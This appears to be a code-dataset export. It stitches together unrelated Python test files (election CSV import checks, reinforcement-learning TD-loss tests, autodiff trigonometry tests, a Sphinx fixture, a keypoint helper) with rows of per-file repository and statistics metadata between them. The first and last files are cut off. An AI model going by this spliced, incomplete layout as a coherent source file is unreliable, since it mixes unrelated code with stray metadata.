'1', # candidate_id
'false', # candidate_elected
'1', # candidate_votes
'', # candidate_party
))
))
).encode('utf-8')), 'text/plain',
)
assert not errors
# 1 Counted, 1 Uncounted, 10 Missing
assert election.progress == (1, 11)
def test_import_internal_majorz_regional(session):
session.add(
Election(
title='election',
domain='region',
date=date(2018, 2, 19),
number_of_mandates=1
)
)
session.flush()
election = session.query(Election).one()
principal_zg = Canton(canton='zg')
principal_sg = Canton(canton='sg')
# Too many districts
for distinct in (False, True):
election.distinct = distinct
expected = ['No clear district'] if distinct else []
errors = import_election_internal_majorz(
election, principal_zg,
BytesIO((
'\n'.join((
','.join((
'election_absolute_majority',
'election_status',
'entity_id',
'entity_counted',
'entity_eligible_voters',
'entity_received_ballots',
'entity_blank_ballots',
'entity_invalid_ballots',
'entity_blank_votes',
'entity_invalid_votes',
'candidate_family_name',
'candidate_first_name',
'candidate_id',
'candidate_elected',
'candidate_votes',
'candidate_party',
)),
','.join((
'', # election_absolute_majority
'unknown', # election_status
'1701', # entity_id
'True', # entity_counted
'111', # entity_eligible_voters
'11', # entity_received_ballots
'1', # entity_blank_ballots
'1', # entity_invalid_ballots
'1', # entity_blank_votes
'1', # entity_invalid_votes
'xxx', # candidate_family_name
'xxx', # candidate_first_name
'1', # candidate_id
'false', # candidate_elected
'1', # candidate_votes
'', # candidate_party
)),
','.join((
'', # election_absolute_majority
'unknown', # election_status
'1702', # entity_id
'False', # entity_counted
'111', # entity_eligible_voters
'11', # entity_received_ballots
'1', # entity_blank_ballots
'1', # entity_invalid_ballots
'1', # entity_blank_votes
'1', # entity_invalid_votes
'xxx', # candidate_family_name
'xxx', # candidate_first_name
'1', # candidate_id
'false', # candidate_elected
'1', # candidate_votes
'', # candidate_party
))
))
).encode('utf-8')), 'text/plain',
)
assert [error.error for error in errors] == expected
errors = import_election_internal_majorz(
election, principal_sg,
BytesIO((
'\n'.join((
','.join((
'election_absolute_majority',
'election_status',
'entity_id',
'entity_counted',
'entity_eligible_voters',
'entity_received_ballots',
'entity_blank_ballots',
'entity_invalid_ballots',
'entity_blank_votes',
'entity_invalid_votes',
'candidate_family_name',
'candidate_first_name',
'candidate_id',
'candidate_elected',
'candidate_votes',
'candidate_party',
)),
','.join((
'', # election_absolute_majority
'unknown', # election_status
'3231', # entity_id
'True', # entity_counted
'111', # entity_eligible_voters
'11', # entity_received_ballots
'1', # entity_blank_ballots
'1', # entity_invalid_ballots
'1', # entity_blank_votes
'1', # entity_invalid_votes
'xxx', # candidate_family_name
'xxx', # candidate_first_name
'1', # candidate_id
'false', # candidate_elected
'1', # candidate_votes
'', # candidate_party
)),
','.join((
'', # election_absolute_majority
'unknown', # election_status
'3276', # entity_id
'True', # entity_counted
'111', # entity_eligible_voters
'11', # entity_received_ballots
'1', # entity_blank_ballots
'1', # entity_invalid_ballots
'1', # entity_blank_votes
'1', # entity_invalid_votes
'xxx', # candidate_family_name
'xxx', # candidate_first_name
'1', # candidate_id
'false', # candidate_elected
'1', # candidate_votes
'', # candidate_party
))
))
).encode('utf-8')), 'text/plain',
)
assert [error.error for error in errors] == expected
# OK
election.distinct = True
errors = import_election_internal_majorz(
election, principal_zg,
BytesIO((
'\n'.join((
','.join((
'election_absolute_majority',
'election_status',
'entity_id',
'entity_counted',
'entity_eligible_voters',
'entity_received_ballots',
'entity_blank_ballots',
'entity_invalid_ballots',
'entity_blank_votes',
'entity_invalid_votes',
'candidate_family_name',
'candidate_first_name',
'candidate_id',
'candidate_elected',
'candidate_votes',
'candidate_party',
)),
','.join((
'', # election_absolute_majority
'unknown', # election_status
'1701', # entity_id
'True', # entity_counted
'111', # entity_eligible_voters
'11', # entity_received_ballots
'1', # entity_blank_ballots
'1', # entity_invalid_ballots
'1', # entity_blank_votes
'1', # entity_invalid_votes
'xxx', # candidate_family_name
'xxx', # candidate_first_name
'1', # candidate_id
'false', # candidate_elected
'1', # candidate_votes
'', # candidate_party
))
))
).encode('utf-8')), 'text/plain',
)
assert not errors
assert election.progress == (1, 1)
# Temporary
for distinct, total in ((False, 1), (True, 13)):
election.distinct = distinct
errors = import_election_internal_majorz(
election, principal_sg,
BytesIO((
'\n'.join((
','.join((
'election_absolute_majority',
'election_status',
'entity_id',
'entity_counted',
'entity_eligible_voters',
'entity_received_ballots',
'entity_blank_ballots',
'entity_invalid_ballots',
'entity_blank_votes',
'entity_invalid_votes',
'candidate_family_name',
'candidate_first_name',
'candidate_id',
'candidate_elected',
'candidate_votes',
'candidate_party',
)),
','.join((
'', # election_absolute_majority
'unknown', # election_status
'3231', # entity_id
'True', # entity_counted
'111', # entity_eligible_voters
'11', # entity_received_ballots
'1', # entity_blank_ballots
'1', # entity_invalid_ballots
'1', # entity_blank_votes
'1', # entity_invalid_votes
'xxx', # candidate_family_name
'xxx', # candidate_first_name
'1', # candidate_id
'false', # candidate_elected
'1', # candidate_votes
'', # candidate_party
))
))
).encode('utf-8')), 'text/plain',
)
assert not errors
assert election.progress == (1, total)
| 37.24152
| 78
| 0.484461
| 2,216
| 27,447
| 5.686372
| 0.090704
| 0.072216
| 0.053329
| 0.039997
| 0.861598
| 0.844536
| 0.830966
| 0.81803
| 0.813904
| 0.800492
| 0
| 0.034165
| 0.42307
| 27,447
| 736
| 79
| 37.29212
| 0.761604
| 0.136518
| 0
| 0.858209
| 0
| 0
| 0.152112
| 0.04326
| 0
| 0
| 0
| 0
| 0.143284
| 1
| 0.013433
| false
| 0
| 0.052239
| 0
| 0.065672
| 0.001493
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
3fcd2421933eb1eb298e1014c94fdb9a9d88ce99
| 181
|
py
|
Python
|
tests.py
|
petersackettferguson/xCurling
|
b7b59263bfbdf70811870c522caacff46a5b55df
|
[
"MIT"
] | null | null | null |
tests.py
|
petersackettferguson/xCurling
|
b7b59263bfbdf70811870c522caacff46a5b55df
|
[
"MIT"
] | null | null | null |
tests.py
|
petersackettferguson/xCurling
|
b7b59263bfbdf70811870c522caacff46a5b55df
|
[
"MIT"
] | null | null | null |
import constants
import gen
import numpy as np
assert gen.collide(np.asarray((0., 0.)), np.asarray((0.5, 0.0)))
assert not gen.collide(np.asarray((0., 0.)), np.asarray((1., 1.)))
| 22.625
| 66
| 0.662983
| 33
| 181
| 3.636364
| 0.393939
| 0.3
| 0.25
| 0.316667
| 0.5
| 0.5
| 0.5
| 0.5
| 0
| 0
| 0
| 0.0625
| 0.116022
| 181
| 7
| 67
| 25.857143
| 0.6875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.4
| 1
| 0
| true
| 0
| 0.6
| 0
| 0.6
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
3fd32cf0af4efe5630c403a6d87e326d339eb9af
| 16,566
|
py
|
Python
|
ding/rl_utils/tests/test_td.py
|
puyuan1996/DI-engine
|
da99c01e06589033b7412829dc2f2c339083f219
|
[
"Apache-2.0"
] | 464
|
2021-07-08T07:26:33.000Z
|
2022-03-31T12:35:16.000Z
|
ding/rl_utils/tests/test_td.py
|
puyuan1996/DI-engine
|
da99c01e06589033b7412829dc2f2c339083f219
|
[
"Apache-2.0"
] | 177
|
2021-07-09T08:22:55.000Z
|
2022-03-31T07:35:22.000Z
|
ding/rl_utils/tests/test_td.py
|
puyuan1996/DI-engine
|
da99c01e06589033b7412829dc2f2c339083f219
|
[
"Apache-2.0"
] | 92
|
2021-07-08T12:16:37.000Z
|
2022-03-31T09:24:41.000Z
|
import pytest
import torch
from ding.rl_utils import q_nstep_td_data, q_nstep_td_error, q_1step_td_data, q_1step_td_error, td_lambda_data,\
td_lambda_error, q_nstep_td_error_with_rescale, dist_1step_td_data, dist_1step_td_error, dist_nstep_td_data,\
dqfd_nstep_td_data, dqfd_nstep_td_error, dist_nstep_td_error, v_1step_td_data, v_1step_td_error, v_nstep_td_data,\
v_nstep_td_error, q_nstep_sql_td_error, iqn_nstep_td_data, iqn_nstep_td_error, qrdqn_nstep_td_data,\
qrdqn_nstep_td_error
from ding.rl_utils.td import shape_fn_dntd, shape_fn_qntd, shape_fn_td_lambda, shape_fn_qntd_rescale
@pytest.mark.unittest
def test_q_nstep_td():
batch_size = 4
action_dim = 3
next_q = torch.randn(batch_size, action_dim)
done = torch.randn(batch_size)
action = torch.randint(0, action_dim, size=(batch_size, ))
next_action = torch.randint(0, action_dim, size=(batch_size, ))
for nstep in range(1, 10):
q = torch.randn(batch_size, action_dim).requires_grad_(True)
reward = torch.rand(nstep, batch_size)
data = q_nstep_td_data(q, next_q, action, next_action, reward, done, None)
loss, td_error_per_sample = q_nstep_td_error(data, 0.95, nstep=nstep)
assert td_error_per_sample.shape == (batch_size, )
assert loss.shape == ()
assert q.grad is None
loss.backward()
assert isinstance(q.grad, torch.Tensor)
data = q_nstep_td_data(q, next_q, action, next_action, reward, done, None)
loss, td_error_per_sample = q_nstep_td_error(data, 0.95, nstep=nstep, cum_reward=True)
value_gamma = torch.tensor(0.9)
data = q_nstep_td_data(q, next_q, action, next_action, reward, done, None)
loss, td_error_per_sample = q_nstep_td_error(data, 0.95, nstep=nstep, cum_reward=True, value_gamma=value_gamma)
loss.backward()
assert isinstance(q.grad, torch.Tensor)
@pytest.mark.unittest
def test_dist_1step_td():
batch_size = 4
action_dim = 3
n_atom = 51
v_min = -10.0
v_max = 10.0
dist = torch.randn(batch_size, action_dim, n_atom).abs().requires_grad_(True)
next_dist = torch.randn(batch_size, action_dim, n_atom).abs()
done = torch.randn(batch_size)
action = torch.randint(0, action_dim, size=(batch_size, ))
next_action = torch.randint(0, action_dim, size=(batch_size, ))
reward = torch.randn(batch_size)
data = dist_1step_td_data(dist, next_dist, action, next_action, reward, done, None)
loss = dist_1step_td_error(data, 0.95, v_min, v_max, n_atom)
assert loss.shape == ()
assert dist.grad is None
loss.backward()
assert isinstance(dist.grad, torch.Tensor)
@pytest.mark.unittest
def test_q_1step_compatible():
batch_size = 4
action_dim = 3
next_q = torch.randn(batch_size, action_dim)
done = torch.randn(batch_size)
action = torch.randint(0, action_dim, size=(batch_size, ))
next_action = torch.randint(0, action_dim, size=(batch_size, ))
q = torch.randn(batch_size, action_dim).requires_grad_(True)
reward = torch.rand(batch_size)
nstep_data = q_nstep_td_data(q, next_q, action, next_action, reward.unsqueeze(0), done, None)
onestep_data = q_1step_td_data(q, next_q, action, next_action, reward, done, None)
nstep_loss, _ = q_nstep_td_error(nstep_data, 0.99, nstep=1)
onestep_loss = q_1step_td_error(onestep_data, 0.99)
assert pytest.approx(nstep_loss.item(), onestep_loss.item())
@pytest.mark.unittest
def test_dist_nstep_td():
batch_size = 4
action_dim = 3
n_atom = 51
v_min = -10.0
v_max = 10.0
nstep = 5
dist = torch.randn(batch_size, action_dim, n_atom).abs().requires_grad_(True)
next_n_dist = torch.randn(batch_size, action_dim, n_atom).abs()
done = torch.randn(batch_size)
action = torch.randint(0, action_dim, size=(batch_size, ))
next_action = torch.randint(0, action_dim, size=(batch_size, ))
reward = torch.randn(nstep, batch_size)
data = dist_nstep_td_data(dist, next_n_dist, action, next_action, reward, done, None)
loss, _ = dist_nstep_td_error(data, 0.95, v_min, v_max, n_atom, nstep)
assert loss.shape == ()
assert dist.grad is None
loss.backward()
assert isinstance(dist.grad, torch.Tensor)
weight = torch.tensor([0.9])
value_gamma = torch.tensor(0.9)
data = dist_nstep_td_data(dist, next_n_dist, action, next_action, reward, done, weight)
loss, _ = dist_nstep_td_error(data, 0.95, v_min, v_max, n_atom, nstep, value_gamma)
assert loss.shape == ()
loss.backward()
assert isinstance(dist.grad, torch.Tensor)
@pytest.mark.unittest
def test_q_nstep_td_with_rescale():
batch_size = 4
action_dim = 3
next_q = torch.randn(batch_size, action_dim)
done = torch.randn(batch_size)
action = torch.randint(0, action_dim, size=(batch_size, ))
next_action = torch.randint(0, action_dim, size=(batch_size, ))
for nstep in range(1, 10):
q = torch.randn(batch_size, action_dim).requires_grad_(True)
reward = torch.rand(nstep, batch_size)
data = q_nstep_td_data(q, next_q, action, next_action, reward, done, None)
loss, _ = q_nstep_td_error_with_rescale(data, 0.95, nstep=nstep)
assert loss.shape == ()
assert q.grad is None
loss.backward()
assert isinstance(q.grad, torch.Tensor)
print(loss)
@pytest.mark.unittest
def test_qrdqn_nstep_td():
batch_size = 4
action_dim = 3
tau = 3
next_q = torch.randn(batch_size, action_dim, tau)
done = torch.randn(batch_size)
action = torch.randint(0, action_dim, size=(batch_size, ))
next_action = torch.randint(0, action_dim, size=(batch_size, ))
for nstep in range(1, 10):
q = torch.randn(batch_size, action_dim, tau).requires_grad_(True)
reward = torch.rand(nstep, batch_size)
data = qrdqn_nstep_td_data(q, next_q, action, next_action, reward, done, tau, None)
loss, td_error_per_sample = qrdqn_nstep_td_error(data, 0.95, nstep=nstep)
assert td_error_per_sample.shape == (batch_size, )
assert loss.shape == ()
assert q.grad is None
loss.backward()
assert isinstance(q.grad, torch.Tensor)
loss, td_error_per_sample = qrdqn_nstep_td_error(data, 0.95, nstep=nstep, value_gamma=torch.tensor(0.9))
assert td_error_per_sample.shape == (batch_size, )
@pytest.mark.unittest
def test_dist_1step_compatible():
batch_size = 4
action_dim = 3
n_atom = 51
v_min = -10.0
v_max = 10.0
dist = torch.randn(batch_size, action_dim, n_atom).abs().requires_grad_(True)
next_dist = torch.randn(batch_size, action_dim, n_atom).abs()
done = torch.randn(batch_size)
action = torch.randint(0, action_dim, size=(batch_size, ))
next_action = torch.randint(0, action_dim, size=(batch_size, ))
reward = torch.randn(batch_size)
onestep_data = dist_1step_td_data(dist, next_dist, action, next_action, reward, done, None)
nstep_data = dist_nstep_td_data(dist, next_dist, action, next_action, reward.unsqueeze(0), done, None)
onestep_loss = dist_1step_td_error(onestep_data, 0.95, v_min, v_max, n_atom)
nstep_loss, _ = dist_nstep_td_error(nstep_data, 0.95, v_min, v_max, n_atom, nstep=1)
assert pytest.approx(nstep_loss.item(), onestep_loss.item())
@pytest.mark.unittest
def test_td_lambda():
T, B = 8, 4
value = torch.randn(T + 1, B).requires_grad_(True)
reward = torch.rand(T, B)
loss = td_lambda_error(td_lambda_data(value, reward, None))
assert loss.shape == ()
assert value.grad is None
loss.backward()
assert isinstance(value.grad, torch.Tensor)
@pytest.mark.unittest
def test_v_1step_td():
batch_size = 5
v = torch.randn(batch_size).requires_grad_(True)
next_v = torch.randn(batch_size)
reward = torch.rand(batch_size)
done = torch.zeros(batch_size)
data = v_1step_td_data(v, next_v, reward, done, None)
loss, td_error_per_sample = v_1step_td_error(data, 0.99)
assert loss.shape == ()
assert v.grad is None
loss.backward()
assert isinstance(v.grad, torch.Tensor)
data = v_1step_td_data(v, next_v, reward, None, None)
loss, td_error_per_sample = v_1step_td_error(data, 0.99)
loss.backward()
assert isinstance(v.grad, torch.Tensor)
@pytest.mark.unittest
def test_v_1step_multi_agent_td():
batch_size = 5
agent_num = 2
v = torch.randn(batch_size, agent_num).requires_grad_(True)
next_v = torch.randn(batch_size, agent_num)
reward = torch.rand(batch_size)
done = torch.zeros(batch_size)
data = v_1step_td_data(v, next_v, reward, done, None)
loss, td_error_per_sample = v_1step_td_error(data, 0.99)
assert loss.shape == ()
assert v.grad is None
loss.backward()
assert isinstance(v.grad, torch.Tensor)
data = v_1step_td_data(v, next_v, reward, None, None)
loss, td_error_per_sample = v_1step_td_error(data, 0.99)
loss.backward()
assert isinstance(v.grad, torch.Tensor)
@pytest.mark.unittest
def test_v_nstep_td():
batch_size = 5
v = torch.randn(batch_size).requires_grad_(True)
next_v = torch.randn(batch_size)
reward = torch.rand(5, batch_size)
done = torch.zeros(batch_size)
data = v_nstep_td_data(v, next_v, reward, done, 0.9, 0.99)
loss, td_error_per_sample = v_nstep_td_error(data, 0.99, 5)
assert loss.shape == ()
assert v.grad is None
loss.backward()
assert isinstance(v.grad, torch.Tensor)
data = v_nstep_td_data(v, next_v, reward, done, None, 0.99)
loss, td_error_per_sample = v_nstep_td_error(data, 0.99, 5)
loss.backward()
assert isinstance(v.grad, torch.Tensor)
@pytest.mark.unittest
def test_dqfd_nstep_td():
batch_size = 4
action_dim = 3
next_q = torch.randn(batch_size, action_dim)
done = torch.randn(batch_size)
done_1 = torch.randn(batch_size)
next_q_one_step = torch.randn(batch_size, action_dim)
action = torch.randint(0, action_dim, size=(batch_size, ))
next_action = torch.randint(0, action_dim, size=(batch_size, ))
next_action_one_step = torch.randint(0, action_dim, size=(batch_size, ))
is_expert = torch.ones((batch_size))
for nstep in range(1, 10):
q = torch.randn(batch_size, action_dim).requires_grad_(True)
reward = torch.rand(nstep, batch_size)
data = dqfd_nstep_td_data(
q, next_q, action, next_action, reward, done, done_1, None, next_q_one_step, next_action_one_step, is_expert
)
loss, td_error_per_sample, loss_statistics = dqfd_nstep_td_error(
data, 0.95, lambda_n_step_td=1, lambda_supervised_loss=1, margin_function=0.8, nstep=nstep
)
assert td_error_per_sample.shape == (batch_size, )
assert loss.shape == ()
assert q.grad is None
loss.backward()
assert isinstance(q.grad, torch.Tensor)
print(loss)
@pytest.mark.unittest
def test_q_nstep_sql_td():
batch_size = 4
action_dim = 3
next_q = torch.randn(batch_size, action_dim)
done = torch.randn(batch_size)
action = torch.randint(0, action_dim, size=(batch_size, ))
next_action = torch.randint(0, action_dim, size=(batch_size, ))
for nstep in range(1, 10):
q = torch.randn(batch_size, action_dim).requires_grad_(True)
reward = torch.rand(nstep, batch_size)
data = q_nstep_td_data(q, next_q, action, next_action, reward, done, None)
loss, td_error_per_sample, record_target_v = q_nstep_sql_td_error(data, 0.95, 1.0, nstep=nstep)
assert td_error_per_sample.shape == (batch_size, )
assert loss.shape == ()
assert q.grad is None
loss.backward()
assert isinstance(q.grad, torch.Tensor)
data = q_nstep_td_data(q, next_q, action, next_action, reward, done, None)
loss, td_error_per_sample, record_target_v = q_nstep_sql_td_error(data, 0.95, 0.5, nstep=nstep, cum_reward=True)
value_gamma = torch.tensor(0.9)
data = q_nstep_td_data(q, next_q, action, next_action, reward, done, None)
loss, td_error_per_sample, record_target_v = q_nstep_sql_td_error(
data, 0.95, 0.5, nstep=nstep, cum_reward=True, value_gamma=value_gamma
)
loss.backward()
assert isinstance(q.grad, torch.Tensor)
@pytest.mark.unittest
def test_iqn_nstep_td():
batch_size = 4
action_dim = 3
tau = 3
next_q = torch.randn(tau, batch_size, action_dim)
done = torch.randn(batch_size)
action = torch.randint(0, action_dim, size=(batch_size, ))
next_action = torch.randint(0, action_dim, size=(batch_size, ))
for nstep in range(1, 10):
q = torch.randn(tau, batch_size, action_dim).requires_grad_(True)
replay_quantile = torch.randn([tau, batch_size, 1])
reward = torch.rand(nstep, batch_size)
data = iqn_nstep_td_data(q, next_q, action, next_action, reward, done, replay_quantile, None)
loss, td_error_per_sample = iqn_nstep_td_error(data, 0.95, nstep=nstep)
assert td_error_per_sample.shape == (batch_size, )
assert loss.shape == ()
assert q.grad is None
loss.backward()
assert isinstance(q.grad, torch.Tensor)
loss, td_error_per_sample = iqn_nstep_td_error(data, 0.95, nstep=nstep, value_gamma=torch.tensor(0.9))
assert td_error_per_sample.shape == (batch_size, )
@pytest.mark.unittest
def test_shape_fn_qntd():
batch_size = 4
action_dim = 3
next_q = torch.randn(batch_size, action_dim)
done = torch.randn(batch_size)
action = torch.randint(0, action_dim, size=(batch_size, ))
next_action = torch.randint(0, action_dim, size=(batch_size, ))
for nstep in range(1, 10):
q = torch.randn(batch_size, action_dim).requires_grad_(True)
reward = torch.rand(nstep, batch_size)
data = q_nstep_td_data(q, next_q, action, next_action, reward, done, None)
tmp = shape_fn_qntd([data, 0.95, 1], {})
assert tmp[0] == reward.shape[0]
assert tmp[1] == q.shape[0]
assert tmp[2] == q.shape[1]
tmp = shape_fn_qntd([], {'gamma': 0.95, 'nstep': 1, 'data': data})
assert tmp[0] == reward.shape[0]
assert tmp[1] == q.shape[0]
assert tmp[2] == q.shape[1]
@pytest.mark.unittest
def test_shape_fn_dntd():
batch_size = 4
action_dim = 3
n_atom = 51
v_min = -10.0
v_max = 10.0
nstep = 5
dist = torch.randn(batch_size, action_dim, n_atom).abs().requires_grad_(True)
next_n_dist = torch.randn(batch_size, action_dim, n_atom).abs()
done = torch.randn(batch_size)
action = torch.randint(0, action_dim, size=(batch_size, ))
next_action = torch.randint(0, action_dim, size=(batch_size, ))
reward = torch.randn(nstep, batch_size)
data = dist_nstep_td_data(dist, next_n_dist, action, next_action, reward, done, None)
tmp = shape_fn_dntd([data, 0.9, v_min, v_max, n_atom, nstep], {})
assert tmp[0] == reward.shape[0]
assert tmp[1] == dist.shape[0]
assert tmp[2] == dist.shape[1]
assert tmp[3] == n_atom
tmp = shape_fn_dntd([], {'data': data, 'gamma': 0.9, 'v_min': v_min, 'v_max': v_max, 'n_atom': n_atom, 'nstep': 5})
assert tmp[0] == reward.shape[0]
assert tmp[1] == dist.shape[0]
assert tmp[2] == dist.shape[1]
assert tmp[3] == n_atom
@pytest.mark.unittest
def test_shape_fn_qntd_rescale():
batch_size = 4
action_dim = 3
next_q = torch.randn(batch_size, action_dim)
done = torch.randn(batch_size)
action = torch.randint(0, action_dim, size=(batch_size, ))
next_action = torch.randint(0, action_dim, size=(batch_size, ))
for nstep in range(1, 10):
q = torch.randn(batch_size, action_dim).requires_grad_(True)
reward = torch.rand(nstep, batch_size)
data = q_nstep_td_data(q, next_q, action, next_action, reward, done, None)
tmp = shape_fn_qntd_rescale([data, 0.95, 1], {})
assert tmp[0] == reward.shape[0]
assert tmp[1] == q.shape[0]
assert tmp[2] == q.shape[1]
tmp = shape_fn_qntd_rescale([], {'gamma': 0.95, 'nstep': 1, 'data': data})
assert tmp[0] == reward.shape[0]
assert tmp[1] == q.shape[0]
assert tmp[2] == q.shape[1]
@pytest.mark.unittest
def test_fn_td_lambda():
T, B = 8, 4
value = torch.randn(T + 1, B).requires_grad_(True)
reward = torch.rand(T, B)
data = td_lambda_data(value, reward, None)
tmp = shape_fn_td_lambda([], {'data': data})
assert tmp == reward.shape[0]
tmp = shape_fn_td_lambda([data], {})
assert tmp == reward.shape
| 41.311721
| 120
| 0.681999
| 2,625
| 16,566
| 3.995429
| 0.038857
| 0.101259
| 0.06722
| 0.085145
| 0.930778
| 0.902746
| 0.870233
| 0.85164
| 0.83238
| 0.813501
| 0
| 0.024289
| 0.197272
| 16,566
| 400
| 121
| 41.415
| 0.764401
| 0
| 0
| 0.752747
| 0
| 0
| 0.003743
| 0
| 0
| 0
| 0
| 0
| 0.203297
| 1
| 0.049451
| false
| 0
| 0.010989
| 0
| 0.06044
| 0.005495
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
|
0
| 7
|
3fdf50b3319fd19d3146054411f7e604057f31fe
| 1,519
|
py
|
Python
|
tests/math/unary/test_trigonometric.py
|
kw-0/MyGrad
|
307f1bb5f2391e7f4df49fe43a7acf9d1e8ea141
|
[
"MIT"
] | 147
|
2018-07-14T01:37:35.000Z
|
2022-03-29T06:37:58.000Z
|
tests/math/unary/test_trigonometric.py
|
kw-0/MyGrad
|
307f1bb5f2391e7f4df49fe43a7acf9d1e8ea141
|
[
"MIT"
] | 223
|
2018-05-31T14:13:18.000Z
|
2022-02-27T18:53:49.000Z
|
tests/math/unary/test_trigonometric.py
|
kw-0/MyGrad
|
307f1bb5f2391e7f4df49fe43a7acf9d1e8ea141
|
[
"MIT"
] | 27
|
2018-06-17T14:42:05.000Z
|
2021-10-31T00:21:09.000Z
|
import numpy as np
from mygrad import cot, csc, sec, sinc
from tests.wrappers.uber import backprop_test_factory, fwdprop_test_factory
@fwdprop_test_factory(num_arrays=1, mygrad_func=sinc, true_func=np.sinc)
def test_sinc_fwd():
pass
@backprop_test_factory(num_arrays=1, mygrad_func=sinc, true_func=np.sinc, atol=1e-5)
def test_sinc_backward():
pass
@fwdprop_test_factory(
num_arrays=1,
mygrad_func=csc,
true_func=lambda x: 1 / np.sin(x),
index_to_bnds={0: (0 + 1e-5, np.pi - 1e-5)},
)
def test_csc_fwd():
pass
@backprop_test_factory(
num_arrays=1,
mygrad_func=csc,
true_func=lambda x: 1 / np.sin(x),
index_to_bnds={0: (0 + 1e-5, np.pi - 1e-5)},
)
def test_csc_backward():
pass
@fwdprop_test_factory(
num_arrays=1,
mygrad_func=sec,
true_func=lambda x: 1 / np.cos(x),
index_to_bnds={0: (-np.pi / 2 + 1e-5, np.pi / 2 - 1e-5)},
)
def test_sec_fwd():
pass
@backprop_test_factory(
num_arrays=1,
mygrad_func=sec,
true_func=lambda x: 1 / np.cos(x),
index_to_bnds={0: (-np.pi / 2 + 1e-5, np.pi / 2 - 1e-5)},
atol=1e-4,
)
def test_sec_backward():
pass
@fwdprop_test_factory(
num_arrays=1,
mygrad_func=cot,
true_func=lambda x: 1 / np.tan(x),
index_to_bnds={0: (0 + 1e-5, np.pi - 1e-5)},
)
def test_cot_fwd():
pass
@backprop_test_factory(
num_arrays=1,
mygrad_func=cot,
true_func=lambda x: 1 / np.tan(x),
index_to_bnds={0: (0 + 1e-5, np.pi - 1e-5)},
)
def test_cot_backward():
pass
| 19.986842
| 84
| 0.654378
| 268
| 1,519
| 3.440299
| 0.152985
| 0.042299
| 0.121475
| 0.173536
| 0.840564
| 0.809111
| 0.809111
| 0.809111
| 0.801518
| 0.801518
| 0
| 0.045977
| 0.198157
| 1,519
| 75
| 85
| 20.253333
| 0.711002
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| 0.655172
| 0
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| 0
| 0
| 0
| 0
| 0
| 1
| 0.137931
| true
| 0.137931
| 0.051724
| 0
| 0.189655
| 0
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| null | 0
| 0
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| 1
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| 1
| 1
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| null | 0
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| 1
| 0
| 0
| 0
| 0
|
0
| 9
|
b762955010e0e37551cbb75106b635e9b3cf773e
| 254
|
py
|
Python
|
tests/roots/test-ext-coverage/coverage_not_ignored.py
|
samdoran/sphinx
|
4c91c038b220d07bbdfe0c1680af42fe897f342c
|
[
"BSD-2-Clause"
] | 4,973
|
2015-01-03T15:44:00.000Z
|
2022-03-31T03:11:51.000Z
|
tests/roots/test-ext-coverage/coverage_not_ignored.py
|
samdoran/sphinx
|
4c91c038b220d07bbdfe0c1680af42fe897f342c
|
[
"BSD-2-Clause"
] | 7,850
|
2015-01-02T08:09:25.000Z
|
2022-03-31T18:57:40.000Z
|
tests/roots/test-ext-coverage/coverage_not_ignored.py
|
samdoran/sphinx
|
4c91c038b220d07bbdfe0c1680af42fe897f342c
|
[
"BSD-2-Clause"
] | 2,179
|
2015-01-03T15:26:53.000Z
|
2022-03-31T12:22:44.000Z
|
class Documented:
"""Documented"""
def ignored1(self):
pass
def ignored2(self):
pass
def not_ignored1(self):
pass
def not_ignored2(self):
pass
class Ignored:
pass
class NotIgnored:
pass
| 11.043478
| 27
| 0.566929
| 27
| 254
| 5.259259
| 0.37037
| 0.225352
| 0.232394
| 0.267606
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.024242
| 0.350394
| 254
| 22
| 28
| 11.545455
| 0.836364
| 0.03937
| 0
| 0.461538
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.307692
| false
| 0.461538
| 0
| 0
| 0.538462
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 7
|
b77fab311f2da87d4ba6c5be71b0938cb0360e85
| 4,370
|
py
|
Python
|
contrastive_loss_test_data/test_keypoints.py
|
N1kYan/vssil
|
214363f1a924414415cfef940404d8057f6912e7
|
[
"MIT"
] | null | null | null |
contrastive_loss_test_data/test_keypoints.py
|
N1kYan/vssil
|
214363f1a924414415cfef940404d8057f6912e7
|
[
"MIT"
] | null | null | null |
contrastive_loss_test_data/test_keypoints.py
|
N1kYan/vssil
|
214363f1a924414415cfef940404d8057f6912e7
|
[
"MIT"
] | null | null | null |
import torch
def get_perfect_keypoints(T: int):
""" Use manual seed to use the same key-points each time... """
kpt_coordinates = torch.zeros((T, 7, 3))
# T=0
kpt_coordinates[0, 0, :] = torch.tensor([0.7, -0.15, 1.0]) # Head
kpt_coordinates[0, 1, :] = torch.tensor([0.35, -0.1, 1.0]) # Upper Body
kpt_coordinates[0, 2, :] = torch.tensor([0.0, 0.0, 1.0]) # Lower Body
kpt_coordinates[0, 3, :] = torch.tensor([0.1, 0.4, 1.0]) # Left knee
kpt_coordinates[0, 4, :] = torch.tensor([-0.4, -0.15, 1.0]) # Right knee
kpt_coordinates[0, 5, :] = torch.tensor([-0.65, -0.4, 1.0]) # Right foot
kpt_coordinates[0, 6, :] = torch.tensor([-0.25, 0.5, 1.0]) # Left foot
# T=1
kpt_coordinates[1, 0, :] = torch.tensor([0.7, -0.15, 1.0])
kpt_coordinates[1, 1, :] = torch.tensor([0.35, -0.1, 1.0])
